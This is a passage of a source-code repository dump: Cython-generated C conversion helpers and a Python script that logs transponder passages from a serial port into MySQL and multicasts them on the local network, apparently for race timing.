if (likely(PyInt_Check(x))) { if (sizeof(long) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (long) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0]) case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) { return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) { return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) { return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (long) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(long) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0]) case -2: if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -3: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -4: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; } #endif if (sizeof(long) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else long val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (long) -1; } } else { long val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (long) -1; val = __Pyx_PyInt_As_long(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to long"); return (long) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to long"); return (long) -1; } /* CIntFromPy */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { const int neg_one = (int) -1, const_zero = (int) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(int) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (int) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0]) case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) { return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) { return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) { return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (int) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(int) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0]) case -2: if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -3: if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -4: if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; } #endif if (sizeof(int) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else int val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (int) -1; } } else { int val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (int) -1; val = __Pyx_PyInt_As_int(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to int"); return (int) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to int"); return (int) -1; } /* CheckBinaryVersion */ static int __Pyx_check_binary_version(void) { char ctversion[4], rtversion[4]; PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { char message[200]; PyOS_snprintf(message, sizeof(message), "compiletime version %s of module '%.100s' " "does not match runtime version %s", ctversion, __Pyx_MODULE_NAME, rtversion); return PyErr_WarnEx(NULL, message, 1); } return 0; } /* InitStrings */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { while (t->p) { #if PY_MAJOR_VERSION < 3 if (t->is_unicode) { *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); } else if (t->intern) { *t->p = PyString_InternFromString(t->s); } else { *t->p = PyString_FromStringAndSize(t->s, t->n - 1); } #else if (t->is_unicode | t->is_str) { if (t->intern) { *t->p = PyUnicode_InternFromString(t->s); } else if (t->encoding) { *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); } else { *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); } } else { *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); } #endif if (!*t->p) return -1; ++t; } return 0; } static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str)); } static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject* o) { Py_ssize_t ignore; return __Pyx_PyObject_AsStringAndSize(o, &ignore); } static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { #if CYTHON_COMPILING_IN_CPYTHON && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if ( #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII __Pyx_sys_getdefaultencoding_not_ascii && #endif PyUnicode_Check(o)) { #if PY_VERSION_HEX < 0x03030000 char* defenc_c; PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); if (!defenc) return NULL; defenc_c = PyBytes_AS_STRING(defenc); #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII { char* end = defenc_c + PyBytes_GET_SIZE(defenc); char* c; for (c = defenc_c; c < end; c++) { if ((unsigned char) (*c) >= 128) { PyUnicode_AsASCIIString(o); return NULL; } } } #endif *length = PyBytes_GET_SIZE(defenc); return defenc_c; #else if (__Pyx_PyUnicode_READY(o) == -1) return NULL; #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII if (PyUnicode_IS_ASCII(o)) { *length = PyUnicode_GET_LENGTH(o); return PyUnicode_AsUTF8(o); } else { PyUnicode_AsASCIIString(o); return NULL; } #else return PyUnicode_AsUTF8AndSize(o, length); #endif #endif } else #endif #if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) if (PyByteArray_Check(o)) { *length = PyByteArray_GET_SIZE(o); return PyByteArray_AS_STRING(o); } else #endif { char* result; int r = PyBytes_AsStringAndSize(o, &result, length); if (unlikely(r < 0)) { return NULL; } else { return result; } } } static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { int is_true = x == Py_True; if (is_true | (x == Py_False) | (x == Py_None)) return is_true; else return PyObject_IsTrue(x); } static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { #if CYTHON_USE_TYPE_SLOTS PyNumberMethods *m; #endif const char *name = NULL; PyObject *res = NULL; #if PY_MAJOR_VERSION < 3 if (PyInt_Check(x) || PyLong_Check(x)) #else if (PyLong_Check(x)) #endif return __Pyx_NewRef(x); #if CYTHON_USE_TYPE_SLOTS m = Py_TYPE(x)->tp_as_number; #if PY_MAJOR_VERSION < 3 if (m && m->nb_int) { name = "int"; res = PyNumber_Int(x); } else if (m && m->nb_long) { name = "long"; res = PyNumber_Long(x); } #else if (m && m->nb_int) { name = "int"; res = PyNumber_Long(x); } #endif #else res = PyNumber_Int(x); #endif if (res) { #if PY_MAJOR_VERSION < 3 if (!PyInt_Check(res) && !PyLong_Check(res)) { #else if (!PyLong_Check(res)) { #endif PyErr_Format(PyExc_TypeError, "__%.4s__ returned non-%.4s (type %.200s)", name, name, Py_TYPE(res)->tp_name); Py_DECREF(res); return NULL; } } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_TypeError, "an integer is required"); } return res; } static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { Py_ssize_t ival; PyObject *x; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(b))) { if (sizeof(Py_ssize_t) >= sizeof(long)) return PyInt_AS_LONG(b); else return PyInt_AsSsize_t(x); } #endif if (likely(PyLong_CheckExact(b))) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)b)->ob_digit; const Py_ssize_t size = Py_SIZE(b); if (likely(__Pyx_sst_abs(size) <= 1)) { ival = likely(size) ? digits[0] : 0; if (size == -1) ival = -ival; return ival; } else { switch (size) { case 2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; } } #endif return PyLong_AsSsize_t(b); } x = PyNumber_Index(b); if (!x) return -1; ival = PyInt_AsSsize_t(x); Py_DECREF(x); return ival; } static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { return PyInt_FromSize_t(ival); } #endif /* Py_PYTHON_H */ <file_sep>/console/read_tp.py # 7846F300047B48 # set @p=0; # select id,timecode,transponder,millis-@p as diff,@p:=millis as millis from passage where transponder = 70379; import socket import struct import sys import mysql.connector import serial from mysql.connector import Error if len( sys.argv ) != 2: print( 'Error: bad argumments') print( sys.argv[0]," Serial device") exit( -1 ) ser_dev = sys.argv[1] print("(c) <NAME> \n") theSer = serial.Serial( ser_dev, 115200) if not theSer.is_open: print( "ERROR Opening: ") print( ser_dev) print("\n") exit( -2 ) try : # Connect to the database cnx = mysql.connector.connect(user='cano',host='127.0.0.1',database='cano') csr = cnx.cursor() except Error as e: print(e) exit(-3) finally: print("DB Ok") cmd = "INSERT INTO passage (id,timecode,transponder,millis) VALUE (NULL,NOW(),%s,%s)" multicast_group = ('172.16.17.32', 10000) # Create the datagram socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Set a timeout so the socket does not block indefinitely when trying # to receive data. sock.settimeout(0.2) # Set the time-to-live for messages to 1 so they do not go past the # local network segment. ttl = struct.pack('b', 10) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) while(1): line = theSer.readline() if len(line)==(16): tp = int( line[0:5] , 16 ) millis = int( line[6:] , 16 ) data = ( tp, millis ) try: csr.execute( cmd,data ) cnx.commit() except Error as e: print(e) finally: print (line) try: message = str(tp) +" " + str( millis ) sent = sock.sendto(message, multicast_group) # Look for responses from all recipients except socket.timeout: print("exception on send multicast") finally: message="" else: print( line ) print( len( line )) print( "\n") #close the connection cnx.close() exit(0) <file_sep>/cython/decoder/simulator.cc /* Generated by Cython 0.25.2 */ #define PY_SSIZE_T_CLEAN #include "Python.h" #ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python. #elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000) #error Cython requires Python 2.6+ or Python 3.2+. #else #define CYTHON_ABI "0_25_2" #include <stddef.h> #ifndef offsetof #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) #endif #if !defined(WIN32) && !defined(MS_WINDOWS) #ifndef __stdcall #define __stdcall #endif #ifndef __cdecl #define __cdecl #endif #ifndef __fastcall #define __fastcall #endif #endif #ifndef DL_IMPORT #define DL_IMPORT(t) t #endif #ifndef DL_EXPORT #define DL_EXPORT(t) t #endif #ifndef HAVE_LONG_LONG #if PY_VERSION_HEX >= 0x03030000 || (PY_MAJOR_VERSION == 2 && PY_VERSION_HEX >= 0x02070000) #define HAVE_LONG_LONG #endif #endif #ifndef PY_LONG_LONG #define PY_LONG_LONG LONG_LONG #endif #ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL #endif #ifdef PYPY_VERSION #define CYTHON_COMPILING_IN_PYPY 1 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 0 #undef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #undef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #undef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 1 #undef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 0 #undef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 0 #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #elif defined(PYSTON_VERSION) #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 1 #define CYTHON_COMPILING_IN_CPYTHON 0 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #else #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 1 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #if PY_MAJOR_VERSION < 3 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #elif !defined(CYTHON_USE_PYLONG_INTERNALS) #define CYTHON_USE_PYLONG_INTERNALS 1 #endif #ifndef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 1 #endif #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #if PY_VERSION_HEX < 0x030300F0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #elif !defined(CYTHON_USE_UNICODE_WRITER) #define CYTHON_USE_UNICODE_WRITER 1 #endif #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #ifndef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 1 #endif #ifndef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 1 #endif #endif #if !defined(CYTHON_FAST_PYCCALL) #define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) #endif #if CYTHON_USE_PYLONG_INTERNALS #include "longintrepr.h" #undef SHIFT #undef BASE #undef MASK #endif #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) #define Py_OptimizeFlag 0 #endif #define __PYX_BUILD_PY_SSIZE_T "n" #define 